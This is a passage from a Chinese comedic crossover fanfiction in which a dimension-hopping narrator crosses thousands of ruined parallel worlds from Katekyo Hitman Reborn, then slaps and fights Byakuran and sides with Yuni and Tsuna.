既然能利用世界产生的负面能量了,那为什么非要盯着负面能量不可。 其他类型的能量,应该也是异曲同工才对。 比如,世界与世界接近时,撞击交错出的能量。 这么说是不是有些抽象? 其实也可以用磁铁来理解。 世界自己就有防止和其他世界相撞的机制。当两个世界,或是两条世界线、时间线靠近的时候,两个世界就会分别自发排异,就像两个同性磁铁一样,相互排斥。 这个过程,是会产生能量的。 而且,随便一生产,都是世界级的能量。 只不过,越是量大管饱,也就越复杂麻烦。没有足够的经验,实在很难把控收集时机。想要将这个机制大面积覆盖到更多的世界外围,就更需要技巧。 总的来说,想法是好想法,但就是一点推进的头绪都没有。 基友,焦虑到秃头。 我真诚地劝基友,要不要和我一样,推个光头? 只要我的头够光,就没有人能够看出我的焦虑秃头。 一劳永逸。 基友给了我一巴掌,让我玩粑粑去。 好吧,如果有人敢对我长出来的板寸头动手,我一定会拼命的。 会起杀心的那种。 总之,穿越司的发展出现了瓶颈。 我的失禁体质也找不出个完全根治的办法,为了防止一切不必要的意外,我连等待了大半年,好不容易到手的谷子,都是基友帮我录的开箱视频。 能看不能吃。 我真难过。 我的谷! 假期持续的时间并不长,很快,我和基友的生活重心,就重新转回了三次元。 我并不担心会有人从2.5次元的穿越司里跑出来。 就像我进入二次元,也会被世界意志所同化一样,没有了穿越司领域的缓冲,二次元人物进入三次元,也会被世界意志压制。 没错,纸片人形态,启动! 真·一阵风来就吹走。 而且,任何生物进入高维世界之后,都会无法感知——就像蚂蚁无法认知人类一样。 叠甲叠甲,这是次元带来的特性,并无贬义。 除非是次元之间烂大洞,否则这种压制效果是绝对的,比我经历的那种缓慢同化要激烈许多。 不过,上课的我依然时常战战兢兢。 穿越司里只有一个宰子不也是一件可怕的事吗? 我给甚尔的排班都更密集了。 有家、有爱、有心态的甚尔,不吃宰子洗脑包。同时字面意义上做到了,一人的胳膊比另外一人的大腿都壮。 甚尔从力量上压制宰子,就像杀鸡一样容易。 再加上我的突击检查! 真意外啊,宰子如此乖—— 《乖巧小崽太宰治》。 我欣慰着,有那么一个瞬间,我竟然真的相信了这种乖巧。 直到穿越司被人打穿的那一天。 嗯,被人·从外面·打穿。 为什么会有东西能做到这一点的啊! 我了个¥(%^*#!!! 我自己差点变成一堆乱码。 领域毕竟是我创造的领域,感受到冲击的一瞬间,我整个人都炸了起来。 2.5次元相当于我手动创造的,和现实世界的缓冲地带。 我不敢想,要是没有这个地带,现在被冲的,会是什么地方。 《除非次元之间烂大洞》。 那一天,我想起了,被霉运统治的恐惧,和被乌鸦嘴盖头的屈辱。 我们幸运E是这样的。 再也不敢乌鸦嘴乱说话了。 我根本不敢耽搁,直接就是一个翘课干活。 ——好孩子们不要学我,我是神经病。 到底是发生甚么事了! 我一进入领域,高密度的炽热火焰就差点燎掉了我的宝贝头发。 呔,何方妖孽! 我定睛一看,首先映入眼帘的,就是保护着手办当啦啦队的宰子,一见我来还小鸟依人般靠了过来。桌椅设备乱作一团,天花板和墙面大开的洞口处,保安大哥甚尔正在和一个看不清身形的人打架。 三节棍「游云」在他手里如臂使指,不需要任何外力的加成,他的战斗经验、战斗本能和战斗能力都是旁人难以企及的高度。 可是,这样的他,竟然都没能直接拿住这个未知的入侵者。 我手上亮起白光,用「书」构筑起一个有度数的墨镜。 ……不许吐槽我,领域破洞之后的次元乱流带来的光太过刺眼,入侵的东西也是一团光,导致我啥也看不清。 只有带上墨镜,我才能确定破损未知,才能打补丁、修复领域。 有一说一,破口其实并不算大,我的领域依靠「荒霸吐」运转,暴戾的力量原本就是一种会无差别攻击入侵的防御。 一般的力量,不是特别具有着针对性特质的力量,都不应该突破「荒霸吐」的暴戾恣睢。 我没时间考虑那些有的没的,用力一拉,先将裂口收紧。 不行,不能只收口。攻击是从外面挑中了薄弱之处,我也得从外面补一下缝。 我眯着眼,看着入侵者的速度明显变慢,那团人形的绿光也变得暗淡。 不管了,这个口子开的时间越长,就越难补。 “甚尔,让开!” 我大声喊着。 甚尔的反应可比我快多了,我发出声音的一瞬间,他就已经用游云补完了最后一击,将入侵者逼到了破口边缘。 我直接就是一个无敌肉弹,一脚踹在入侵者身上,和它一起掉出了领域外。 对,就是这个位置! 「书」的创造性很好用,一下子就补好了薄弱。 失控乱流搅动着,这个人形绿光似乎没有生命、没有自我意志,也不知躲避,迅速被搅碎成光点。 我没有理会它,直接回头,想要趁着这个机会,从外部多加强几层防御,以防止类似的事再次发生。 可就在此时,就在我转身没有看到的瞬间,那仿佛被搅碎的光却突然凝聚拉长——以点成线,以线成缚,紧紧地将我裹在其中。 FUCK,我是什么在逃公主吗? 目标又双叒叕是我?! 第107章 人在最接近成功的时候, 也最接近失败。 我无数次用过这条规律,没想到终日打雁,最后被雁啄了眼。 我竟然也败在了这条规律上。 谁能想到, 这个东西都被绞成光点了, 怎么还能把我拖走啊! 我摸着头坐起身来,环顾四周——全是废墟,不, 甚至不能用“废墟”这个词,得用“废土”。 这究竟是给我干哪儿来了啊? 这还是国内吗? 肯定不是了。 这还是二次元吗,怎么感觉像是到了《行尸走肉》或者《我是传奇》的片场? 完全像是大战后被毁灭了的样子。 关键是,连把我拉进来的那股力量也消失不见了。 确切地来说, 应该是被完全消耗掉了, 没有我的失禁体质还想强行穿越,也不掂量掂量自己是谁…… 话说,那人到底是谁来着? 直到对方消失,我都没能拼凑出他的身份。 我漫步在焦土上,一脚一个印, 还咯吱咯吱的响。 “啪嗒”一声。 有什么东西从我身上掉出来了。 啊嘞? 我的兜帽卫衣加休闲裤, 全身上下一个口袋都没有,哪里来的东西? 我低头, 就见焦黑的土地里, 静静地躺着一个手环。 真是熟悉的东西,熟悉的它。 我百分百确定我没有带, 刚才靠近我的就只有——宰? 我向后一抓, 摸到了自己翻出来的兜帽。 应该就是宰子刚才扑上来的一瞬间, 把手环塞到了我的帽子里。 但你都已经塞到我帽子里了, 干嘛不直接塞给我? 突然, 漆黑的屏幕上跳出一个像素点Q版宰头,一跳一跳地吐着舌头。 别说,还挺可爱的。 紧接着,宰头炸开,一团像素点重新排列组合,组成了“加油”两个字,还带着两个感叹号,和一个emoji笑脸。 ……真不是我以小人之心度君子之腹,怎么总觉得这个宰头,处处透露着诡异? 宰,请你真诚的告诉我,这件事和你到底有没有关系? 我的第一反应,这不会又双叒叕是哪个IF线吧? 不像啊。 我调动起体内的「书」,尝试拟态我熟悉的中也异能力…… 诶? 失败了? 这可是迄今为止从未有过的事。 世界意识拒绝承认异能力的存在吗? 那咒力呢? 不行,完全不行。 但,我确实仍然能够感受到力量在体内的涌动。 我关掉手环的息屏显示,在功能界面找到了世界定位——密集的立体网络里,由时间、空间和次元构筑起来的网络,有数不清的交点。 我能够看到手环中所记录的原点坐标,红点正在闪烁——那应该就是我的穿越局所在的位置。 没错,我能在这个三维坐标里,看到家的位置。 但,最大的问题在于,我不知道自己现在所处的位置。 手环完全没有定位。 没有定位+无法拟态使用其他世界的力量——我大概,是被这个世界排挤了。 这使得我和这个世界处于一种量子叠加状态,我既站在这里,又不属于这里。 大概是因为,我自己主观都对这个世界毫无认知,我不知道这里属于哪一部作品,也不知道把我拉过来的东西究竟是什么。 冷番? 冷剧? 说实话,我从未有过穿越到一个世界后,被世界意识排挤到如此地步的经历。 世界意识大哥,你都已经这样排挤我了,就不能直接把我排挤出去吗? 把我踢出去啊! 还是说,这个世界连这种小事都做不到?世界意识也跟着世界本身一起,被毁灭了? 可既然如此,世界意识如此微弱,为什么还能压制住我的力量模拟? 略微思考了一下—— 如果不是绝对的力量压制,那就是经验所致了。 这个世界的世界意识,很显然有一套成体系的排斥异世界来客的系统。 “有——人——吗——” 我大声叫着,哪怕真是《行尸走肉》我也认了啊,只要让我对这个世界有认知,世界意识就不会拒绝我到这种程度。 我搓了搓地面的灰,要不给自己脸涂黑,现场cos一波灰太狼怎么样? 众所周知,搞笑角色才是最强角色。 空荡荡的世界根本没有人回应我。 我一度怀疑,这个世界中究竟还有没有活着的生命。 萧瑟的风吹过我的身体,被烧得干巴巴的矮楼一面就塌了下来,差点把我砸死。 海量灰尘蔓延空中,只是看着这密集的灰尘,我的鼻炎就想一触即发。 我慌乱地向后退着,倒塌的墙上似乎有什么东西飞了出来,正正地砸在我脑门上。 “卧槽,真是一丁点感觉都没有。” 别说是疼了,就连那种被东西触碰的知觉都不存在。 这可能就是被世界意识排斥的后果吧? 我下意识地捡起木牌,都掉灰,上面清晰的几个字漏了出来。 “沢田宅”。 ……? 是我想的那个沢田吗? 我抱头,努力回忆着刚才的事—— 火焰、绿光、平行世界。 沢田、废土、防异世界来客的世界意识。 仔细想想的话,刚才的绿光的人形轮廓,好像也似曾相识。 用答案推过程,那个绿光脸上好像还真有一个小小的纹路,就像某个白花花脸上的倒王冠胎记一样。 文艺复兴? 我死去的童年突然攻击我? 我说我怎么没有反应过来,记忆太过久远,这不就是家教IF吗! 剧情里只被当作背景板被提过一嘴的那“无数个被毁灭的平行世界”。 我是真会找地方穿越。 不对,应该是可恶的白兰·杰索真会找地方搞事! 我再也不会diss宰子了,再也不会说有「书」的宰子难搞了。 平行世界白花花更要人命好吗! 就在我的认知,“咔吧”一下,连通世界的瞬间。 原本被阻碍在体内的力量开始缓慢流动,体内「书」的余力总算是能输出拟态一些。 但,能量依旧非常稀少。 我看着四周荒芜的世界,好像明白了什么。 是了,外来的力量,除非从世界意识层面受到全面认可而被同化融入,否则任何力量都不可能超过这个世界现有体系的上限。 这个已经被毁灭的世界、这个已经成为废土的世界,力量上限太低了。 ……寄。 或许正是因为这个世界的上限太低,权重比也太低——毕竟是在原作里就只有一句话的背景板。 所以,我甚至无法在手环上,看到它的定位。 这样异世界的平行世界——尤其是已经被毁灭的平行世界,是没有具体定位的。 这意味着,我想要找到一个有坐标的世界,至少就得是未被毁灭的、能量上限可以被拉高的世界。 家教的主世界线——这是我能想到的,唯一一个有机会释放「书」全部拟态力量的地方。 我回忆着刚才看到的人形白兰的力量结构,尝试拟态一下家教世界的力量体系。 越贴近这个世界原有设定,拟态的力量也会越顺畅。 这个世界上限的拟态火焰,也就堪堪够我一次穿越。 我穿过平行世界的壁垒,落到了下一个世界。 哦吼,还是废土。 再下一个—— 还是废土。 下一个、下一个、再来下一个—— 怎么一个个的都是废土! 我的天,那么多平行世界,哪里是个头啊! 造孽啊,白花花,你究竟毁灭了多少个世界? 难道,我竟然是要开始无限硬赌我的运气吗? 我要是真运气好的话,就不会落到现在这个地步了。 不在穿越中毁灭,就在穿越中变态。 我在家教的主题里,穿够了我未来一百年都不想再穿越的量。 我清晰地感觉到,自己的精神状态在变差。 任谁被丢到一个仓鼠笼子里,疯狂无限跑,都会焦躁的吧! 泥人还有三分土性呢! 气死我了。 QNMD白兰·杰索。 大概在穿越到第一百个废土的时候,我的心态就已经发生了根本性的转变。 到主世界找到坐标返回已经不再是我的第一目标。 我现在就想给白花花一个正义破颜拳。 我在大脑中无数次重复、模拟,不管到时候遇到的是哪个白兰——是十年前洗白的小白兰,还是十年后黑到底的大白兰,都无所谓,反正他们共享平行世界的记忆,没差。 揍就对了。 世界一个一个地换,我的时空跳跃技术也越来越纯熟。 大概到第五百个世界的时候,我就已经能通过气味来判断这个世界的废土程度了。 硝烟的气味越重,成为废土的时间越短,世界被毁灭的时间也就越短,大概也就越接近未被毁灭的主线世界。 如果你也穿越过超过一千个平行世界,你就能把这些世界全部组成一幅连环画。 我所路过的平行世界越来越“新鲜”,硝烟、火焰、鲜血的味道也越来越浓烈,世界力量的上限也越来越高,我能调动的力量也越来越强,能够一次性跨越的平行世界线也越来越多。 直到我一个大跳,跨过了大概一两百个平行线—— 嗯? 好像有什么东西从我眼前“咻”的一下飞过去了。 这可是穿越中的平行世界缝隙—— 所以,这个“咻”和我一样,是从一个世界穿越到另一个世界的那种“咻”。 在穿越平行世界的,不止我一个人吗? ……不会是你吧,邪恶白花花? 家教世界观下,能穿越的也就只有你了吧,白花花! 我马上就连续跟跳,冲了上去。 几千个世界的试错都试了,还差这一个吗! 我紧闭双眼,毫不犹豫地穿过了这个平行世界的壁垒。 废墟,又是一片显然经历过战斗的废墟。 刚刚那个“咻”也不见了踪影。 我猛猛一个吸气。 有烟、有血、有火焰…… 真是熟悉的味道。 我肩膀一松,泄气了。 就在我哀悼于自己第不知道多少次的穿越失败之时,不远处突然迸发出一束激烈的光。 和刚才的“咻”散发出来的光芒一样。 但,却和先前的每一次穿越都不一样,和先前闻到过的每一种火焰的味道也都不一样。 不是那种充满焦糊和荒芜的火焰,而是这一种充满生命和斗争力量的火焰。 这是,之前从未有过的事情。 这还等什么、这还有犹豫什么,赶紧冲过去看啊! 我熟练地调动起上限抬高后的拟态力量,弹跳着冲向了火光的来源。 听到其他人类声音的时候、看到人类整齐服装的时候,我简直是喜极而泣。 呜呜呜,太感动了。 家人们谁懂啊,有种从末日回到文明社会的感觉。 我身上的卫衣+裤子早就因为在废墟里打滚而变得黑漆漆,我脸上身上大概也都是灰。 但是不重要,重要的是我胡汉三终于出来了! 泪目了。 当然,下一秒,我感动到极点的眼泪汪汪,就骤然被画上了一个休止符。 知道为什么吗? 因为我看到了邪恶的、可恶的、长着一张欠揍脸、让我恨得牙痒痒的,万恶之源白!花!花! 他竟然还敢笑,在笑谁,笑我吗? 笑你个头啊! 硬了,我的拳头硬了。 拟态什么力量无所谓、能不能摸到这个世界的上限无所谓、有没有被这个世界接受无所谓,剧情进展到哪里无所谓,啥时候能穿越回去什么的,都无所谓了! 我的耳朵大概在发烫,肉眼可见的红温。 过去的复杂穿越经历,扰乱着我的拟态力量,荒纹和宿傩纹交织在一起,浓烈的咒力和异能力转化了更适合这个适合的火焰。 都已经穿越过几千个世界来拟火焰了,从一开始的磕磕巴巴,到现在的流利顺畅——你们知道我这几千个世界都经历了什么吗! 嘘,别说话—— 干就完了,不用考虑后果,我先发泄一下,爽了再说! 我大概从来没有过这么快的速度,超过了我过去记忆能够到达的所有速度的上限——比两面宿傩、比中原中也都快。 愤怒果然是人类的第一动力。 我此时想做的、要做的,就只有一件事—— “啪!” 清脆的巴掌声响彻云霄,在这个空荡荡城市里,无限回响。 白花花脸上的巴掌印,看着真顺眼—— 爽! 第108章 白花花那怔住放空的神情, 还真瞧不出来是会毁灭世界的角色。 那仿佛阳光开朗的假笑,乍看给人一种无害的错觉,实际上可怕得很。 我明白了, 白兰·杰索是邪恶摇粒绒! 我黑乎乎的手留下的巴掌印看着真爽, 这些灰可是被毁灭的平行世界的硝烟之土,用来作为邪恶摇粒绒的真理之印真是再合适不过了。 当然,几千个世界, 一个巴掌肯定是不够的。 我的动作完全没有迟滞,直接就是一个蛞蝓之拳,把白花花直接掀翻了出去。 有点意外的是,他只堪堪砸穿了一座楼, 我以为蛞蝓之拳的力量, 绝对能击穿至少五六栋房子的。 我退步了? 我看着自己的拳头皱眉。 四周的空气凝固住了,我能够感觉到自己的万众瞩目,连白花花自己都没有反应过来的巴掌和铁拳,其他人又怎么会有比他更快的应激能力? 我也没有给其他任何人反应的时间,继续冲向了白花花。 吃我一招“蛞蝓冲击”! 我化作了一道红光, 流星般地冲了上去。 不过邪恶摇粒绒毕竟是个BOSS, 巴掌和拳头毫无防备地吃了下去,但这次的蛞蝓冲击却给了他反应时间。 我像是踢到了一块铁板。 好硬。 我对上了他的眼睛, 紫色的超稀有瞳孔中, 惊讶已经消退得差不多了,剩下满满的都是受到挑衅的恼怒和几乎将恼怒都遮掩过去的兴奋。 真正的扇形瞳孔, 一分惊讶、一分漫不经心、三分恼怒和九十五分的兴奋。 脸上的巴掌印都肿起来还这么兴奋。 抖M? 啊哈, 你是抖M我就放心了。 我一个歪头, 躲过了一道火焰组成的白龙。 它很快, 但我的反应速度也不是吃素的。 我的手在空中一划, 火焰凝成固态——看招,宿傩的大菜刀! 我重重地踩在地上,红色的火焰成圈地扩散开来。不知是朝着宿傩方向拟态的力量天然就如此暴戾,还是红色火焰在这个世界所代表的属性本身拥有特殊的侵蚀性,地面一圈坚固的特制地板化作粉尘,扬灰阻碍着视线。 “啪!” 邪恶白花花双手合十,掌心夹住了我的菜刀。 他的掌心用力一夹,固态的菜刀重新化为了火焰。 邪恶白花花还念出了招数的名字。 “白拍手。” 好没文化的名字。 虽然我的“傩の菜刀”也好不到哪里去,但就是这么严于律人,宽以待己。 我的手向后一拉,菜刀的形状变化——尖锐的刺凝聚在前,圆鼓鼓的柱子拉长在后。 “傩の菜刀”变成了“荒の尖枪”。 我对「斗尖荒霸吐」实在是太熟悉了,火焰的形状甚至不止于简单的模拟,而是经由「书」的波动,清晰地创造了实体形态。 至于要怎么适应这个世界的规则…… 别问,问就是匣兵器。 问就是怪人科学家婴儿的骚操作——我记得好像是叫,威尔帝? 我抓住枪身,用力一甩。 不太会用枪,但大力出奇迹。 邪恶摇粒绒自信得很,他根本就没有想着要躲,就是要硬接这一招。 这不,翻车被我挑飞了吧? 我故意把他挑回了他的下属面前,脱离战场没了观众,那还打什么? 我命令你社死! 不让他在众人面前丢人,难消我心头之恨。 斗尖荒霸吐的枪尖蔓延出微不可见的火光,直奔着邪恶白花花的头发而去。 吔火吧你,头发君! 答应我,从此以后白花花就改名叫白秃秃,好吗? 我这口气儿终于稍微顺畅了一点。 只穿越十来次的那个我已经死了,我现在是穿越上千次的钮祜禄C。 没有营养的穿越,也是穿越,很考验技术的。 话说,我的体质不会进一步恶化吧? 紧跟着那个反光的头颅,我一把揪起了白秃秃的衣襟,直接就是一个绿巨人摔洛基。 一边是摔还一边大声宣泄,“毁灭世界很好玩吗!搞世界意识很有趣吗!穿穿穿!让你也失禁你就高兴了,可恶啊白秃头——毁灭自己的世界也就罢了,真是给你吃饭吃多了,让你吃饱了撑的去搞其他世界壁垒。只是秃头而已,别真以为自己聪明绝顶了,把不要给别人添麻烦刻在你的DNA里去啊,混蛋!我NM¥%^(¥——” 系统屏蔽了我的脏话。 果然,最简单的嘴臭,最极致的享受。 剧烈的橙色火焰反冲而上,撕开了我周身环绕的赤红色的力量,将火焰反噬成了硬质的石块。 大空属性的调和,对吧? 死去的记忆突然攻击我。 兜帽凝固成了重重的石块,拉扯着我的衣襟差点勒死我。 “白兰大人!” 都到了这一步,他的下属当然也反应了过来了,将白秃秃团团围住。 其中尤以一个绿头发绿眼影的非主流大哥最为显眼。 我知道,他是真|吊|哥之一。 这次我没有骂人,人家的组织名就是真·六吊花。 我当年看得上头,就叫人家真六吊哥……这么多年过去,我已经不记得他们的真名,还是外号最容易记。 我将贯彻落实坚决不检讨、不反思的指导方针。 我穿了几千个世界,过去造过的孽全部都扯平了,没有人能让我在这个世界产生任何愧疚。 我现在心硬如铁。 ……嗷嗷嗷,好可爱的人鱼萝莉! 一朵鲜花插在牛粪上,这么可爱的萝莉怎么就投到了邪恶白秃秃的麾下呢? 我抬手,剧烈的红色火焰从我的掌心飞射而出,直直地穿透了人鱼萝莉丢来的巨大海螺,将其碾成了碎片。 咸咸的,是大海的味道。 我懂了,海的味道我知道,波力海苔(bushi) 萝莉妹旁边的非主流绿哥脚底亮起了紫色的火焰——是饱和度超高的颜色,配合他那鲜艳的眼影和卷卷的长发,就显得更加非主流了。 他只顾着自己穿搭,完全不知道他这一套衣服COS起来有多显黑,完全不考虑如果要COS他的话,我们这种橘子爱好者的黄皮coser要上多少粉底。 可恶。 和白秃秃这一边的组合相比,另一派的西装大全套,明显正常很多啊! 虽然成熟穿搭和稚嫩的脸,多少有种偷穿大人衣服的感觉,但品味很正常,衣服易购。 Cの认可.jpg “你也是彭格列家族的外援?” 不,事实上彭格列家族比你还懵。 非主流哥说话间,指环上着火,匣兵器就拿在另一只手上,随时能够暴起战斗。 曾几何时,我也是买过许多盗版指环的人。 彭格列指环两种形态,有宝石的、没宝石的,我都买过! 流下了童年回忆的泪水。 我转头,和纲吉对上了视线。 好大的眼睛! 占了半张脸的眼睛,大大的眼睛里写着更大的疑惑。我就说的啦,纲吉绝对比白兰更疑惑。 话说,他的眼睛这么大,圆圆小小的隐形眼镜,究竟是怎么戴进去的? 不能再吐槽了,回神赶紧回神。 被白秃秃的秃头缓解了心情的我冷静下来,眼前这个画面所对应的剧情从记忆深处浮起。 未来篇选择战,对吧? 家教的剧情格式非常经典,主角团遵循着受挫—修炼—成长—获胜的经典少年漫模式,螺旋展开剧情。所以即使过去很久、即使细节已经模糊到白秃秃一派我只能叫上来白兰一个人的名字,我却依然能掰着指头,数出剧情时间线来。 “没有见过的脸呢。” 白秃秃站了起来,眼神中的阴鸷蔓延开来。 “噗——”我毫不客气的嗤笑一声。 毫无疑问,白秃秃有一张能经过光头考验的帅脸,但……真的很搞笑。 我已经完全严肃不起来了。 “是连平行世界都完全没有出现过的脸。”白兰的头发在旁边阴沉哥的金色火焰下快速再生。 我瞪大了眼睛。 是晴属性的再生! 对啊,这个世界有办法快速拯救我的头发!!! 穿越几千个平行世界的火气瞬间消掉一半。 当然了,是对世界的无差别怨念消了一半,不是对邪恶摇粒绒的。 “你认不认识我没关系,只看我揍不揍你就完事了。”荒霸吐枪在我手上一转,绷直的枪尖切断了空气,激烈的嗡鸣声直指已经不秃了的白花花。 “好大的口气。” “我刷牙了,没有口气。” “……?” 白花花的表情扭曲了一下。 下一秒,白龙飞驰而来,和我的枪撞在一起,溅起一束激烈的火花。 还挺硬。 我敏锐地意识到,硬的不仅仅是龙,还有被龙头上蔓延的火焰所影响的其他东西。 过去的回忆逐渐上涌,虽然已经很久没有重看过这部已经完结的漫画,但当年也是一话一话在盗版小网站,就着不可言说的垃圾广告追过来的。 不要小瞧我和漫画之间的羁绊啊,可恶! 大空的属性是调和,它有石化的能力。 就像我刚才的兜帽一样。 不愧是邪恶摇粒绒,他想要把我也石化起来。 别小看被世界意识疯狂排斥的我。 祂的反异空间机制根本就没有接受我,连火焰都是我拟态出来的,红色岚火焰的分解属性,也是宿傩、荒霸吐的暴力延伸。 世界都不接受我,这个世界的东西,又怎么会影响到我? 我甚至连火焰该有的滚烫温度都感受不到。 反倒是荒霸吐枪,在火焰中被调和石化成了灰色的固态。 这个颜色还挺讲究,RPG游戏一样,使用过的工具变灰了。 能被石化,就说明我拟态出来的实体物,脱离了我的存在本身,可以被世界意识认同。 这个世界的世界意识好复杂,识别系统这么智能吗? 我丢掉石化的枪,枪身重重地砸在地面,摔了个粉碎。 白龙真是邪恶摇粒绒的匣兵器,见自己的能力对枪起效,马上就是一个猛龙甩尾,逆着胳膊朝我的身体冲来,大量的橙色的火焰被释放,几乎到了让人睁不开眼睛的地步。 应该说,虽然摇粒绒邪恶,但实在强大。 我的胳膊都变重了。 别误会,石化的不是我的胳膊,而是我的袖子。 再让它嚣张下去,我的衣服都得完蛋,然后又双叒叕是裸奔的一天。 我的卖肉毫无看头,又不是中也,有什么好|裸|的。 绝!对!不!要! 虽然用不来什么华丽姿势,但大的装|逼往往只需要最朴素的动作。 既然我的身体不会被大空之焰所影响,那就直接上手抓龙。 和白龙掰头一下——指,把它的头掰下来。 “咔!” 身首分离,白龙身上的火焰也熄灭了。 我敲掉石化到手肘的衣服——长袖瞬间变短袖。 “有没有公德心,这可是我的新衣服。”我掂了掂龙头,发挥我体育课篮球投球及格的优秀成绩,用力将龙头丢回给了白花花。 这好像更需要棒球技术? 可惜我们学校的体育选修里没有棒球的选项。 毫不意外,龙头并没有到达白花花面前,半途就已经被赤色的火焰分解得渣都不剩。 “没公德心?没事儿,等我把你的心掏出来,就有了。” 岚属性特有的暴躁老哥。 我完全不记得白花花岚之守护者的名字,只记得他有个能力能变龙,所以可以简称为,小龙人。 他是头上有犄角,身后有尾巴。 别说,还挺帅的。 不过要对付像他这样的铁直男,简单的硬刚是不会让他破防的。 计上心头。 于是我捻起兰花指,扭捏地笑了一下,“讨厌,第一面就想要人家的小心心,你也太唐突了吧。” 我嗓子一夹,暴躁老哥表情都空了。 “听见了没,白花花,你下属想要我的心,那就是要跟我跑了——忠诚度真是堪忧。” 忠诚度三个字似乎戳中了小龙人的某些点,他头发一炸,迅速被我激怒。 不是吧,这么快就破防了? “不允许质疑我对白兰大人的忠诚!”他说着,直接撕开了自己的衣服。 我赶紧分开指头,捂在自己眼前,“啧啧啧——咦惹,不讲男德,这样的人是无法俘获人家的心的啦——” 宰式波浪音,你值得拥有。 不用担心,反正这个世界已经没有我在意的人了。 暴躁小龙人感觉要被恶心吐了,他的手指已经冒出了火,想要直接按在嵌入胸口的那个匣子上。 不愧是牌面反派,匣兵器都和别人不一样。 别人都拿在手上,他们捧在心里。 “哎呦喂,这是想干嘛,把你的心给我吗?真——讨——厌——人家不是那么随便的人啦!” 暴躁小龙人:……? 我第一次知道,一个人的脸上可以同时塞满这么多问号。 从今天起,我也是邪恶摇粒绒了。 第109章 “哈哈哈哈哈哈——”邪恶摇粒绒根本不在意被掰成两半的白龙, 撩起被过度再生的长发,用火焰燎边修剪着发型。 偶像包袱别提有多重了,“从来没见过石榴这样的表情, 太有意思了!” 所以, 小龙人的名字叫石榴。 他的表情确实很有看头。 指环上的红色火焰都熄灭了,眼神死的同时,身后又仿佛出现了宇宙。 奇怪的挑衅方式增加了。 也不知道他的脑回路是怎么长的, 在自己的微妙破防之后,他竟然也捻起兰花指,一副打算以其人之道换其人之身的样子。 结果反而给自己搞得更加恶心了,真正的损己利人, 自损一千让敌人看乐子。 就知道, 每一个硬汉背后都有不为人知的一面。 我可不会放过这个机会,马上大叫着挥手,“OI——兰花指不是那样掐的,别这么紧绷嘛!指头弯曲一点,大拇指放到中指第二指节, 对!你很有嬷化天赋哦!捏着鼻子说话, 来,叫声老公。” 石榴竟然还跟着我的指挥动了动, 还是旁边非主流哥那一言难尽的眼神让他猛然回神, 冲着我龇牙咧嘴,“可恶, 竟然敢耍我!” 真不是我耍你, 实在是你太好耍了。 噗—— “以前怎么没有发现, 世界上还有你这样有趣的人?” 白花花眼睛一眯, 视线在我身上流连忘返, 完全无视了旁边的主角团。 不,应该说是没有把主角团放在眼里。 他大概觉得,彭格列众人已经是他的掌中之物了,是生是死都在他一念之间。 邪恶摇粒绒这样的反派BOSS是这样的,不傲慢一点怎么给主角团机会? “很简单,因为我之前完全没有存在过啊。这么明摆着的事实还要猜,认真地说,你是不是这里——”我指了指脑壳,故意制造压低声音的效果,“有点问题?” “也许是呢,”白兰竟然顺着我的话说下去了,“对愚者来说,智者总是难以理解的,不是吗?” 我假笑,顺口反击,“你知道这个道理就好,能想通这一点,说明你还没有蠢得无可救药。坚持吃药,别停,总有一天你会康复的,我相信你!” 我夹子音,“白兰酱,加油!” 鹿小葵,加油! 人鱼萝莉气得脸都鼓起来了,指着我的鼻子,“不许叫‘白兰酱’!” 你们真六吊花的脑回路多少都有点奇特。 “叫得这么亲密,你肯定不舍得离开我了吧——决定了!你和尤尼全部都留下来吧!” 白花花一拍手,愉快地下达了命令,“你们留下,我就放其他人走——不管是彭格列,还是彭格列指环——怎么样?” 他好像忘记了,自己脸上还留着我的黑爪印呢。 我刚想要狠狠嘲讽一下他的痴人说梦,另一个恍然大悟的声音就猛然插了进来。 “你是刚才的那束光,跟着我的那一束!” 我转头,看向开口的尤尼。 我注意到,她的手上捧着数个彩色奶嘴——这应该就是彩虹之子的奶嘴,7^3的重要组成部分之一…… 我的大脑接上剧情线,开始运作。 尤尼在剧情里,曾经把自己的意识传送到其他的平行世界,以此来保护自己。 所以……刚才把我引到主世界来的光,不是白花花,而是尤尼酱! 大恩人竟在我面前啊! 尤尼酱是真女神! 让我少走了不知道多少弯路,简直是行业明灯。 我眼睛亮了起来,“刚才那个灵魂是你!” 邪恶摇粒绒让我跑了几千个世界,摇粒绒,坏。 尤尼酱让我少跑了或许更多的平行时空,尤尼酱,好。 “是你把我带到了这个世界。”我脸上扬起了不带挑衅的真诚之笑来,“所以原则上来说,你也知道平行世界穿越的原理,对吧?” 冷静下来之后,我仔细想过了。 一开始,我只是想要找到主线世界、暴揍白花花,做好时空定位,然后找个机会回家。 但仔细想想,这次穿越的问题不仅仅是在白花花一人身上,更重要的是,暴露了穿越司的漏洞。 有窥探平行世界能力的人,也有机会突破次元桎梏。 这就很危险了。 我必须得弄清楚这个问题才行。 我得弄清楚平行世界之间的穿越原理,越详细越好,然后才能修复bug。 否则……鬼知道以后还会不会有其他有平行穿越能力的纸片人搞事! 一想到这种事情未来还有可能发生,我就感觉前路一片黑暗。 二次元世界千变万化,bug能修复一个是一个。 但比起白花花,果然还是尤尼酱更加可爱啊! 谁要和邪恶摇粒绒共事?! 我迅速做出了决定,满眼慈爱地看着尤尼酱,“放心,我不会让他带走你的。” “哦——我还站在这里哦,这里还是我的地盘哦,太过自信可不是什么好事吧?” 我和尤尼当着白花花的面迅速结盟,但他却一点也不着急,反而更兴奋了。 他们这样的神经病确实是这样的。 “反弹。”我手背一叠,“谁能自信得过你啊,自信哥。” “就算叫哥哥,也不会手下留情放过你的哦~” 白花花朝我wink,“人家的心,想要和尤尼酱结合在一起呢!” 你要不要听听自己在说什么! 这是少年漫,不是《刑法》第二百三十七条。 果然,想要恶心到白花花这样的人,好像也没有那么容易。 我这个积极分子不屑与之为伍! 我混入了彭格列的队伍,一把揽住纲吉,“所以就是这样,咱们现在是一队的了,共同对抗邪恶摇粒绒。” “哈?不是……等等!话说你到底是谁啊!”纲吉一脸惊恐。 虽然已经不是第一次有人突然出现,然后自说自话地把他牵扯到某一段奇怪的关系里——像是师生、朋友或是家族——但,纲吉依然不能习惯。 这个世界上怎么能有这么多社交恐|怖|分|子! “你在说什么啊,我们明明是好朋友啊!” 纲吉更惊恐了,就像是被占了便宜的小媳妇,“哈——?不,我们完全不认识吧!” 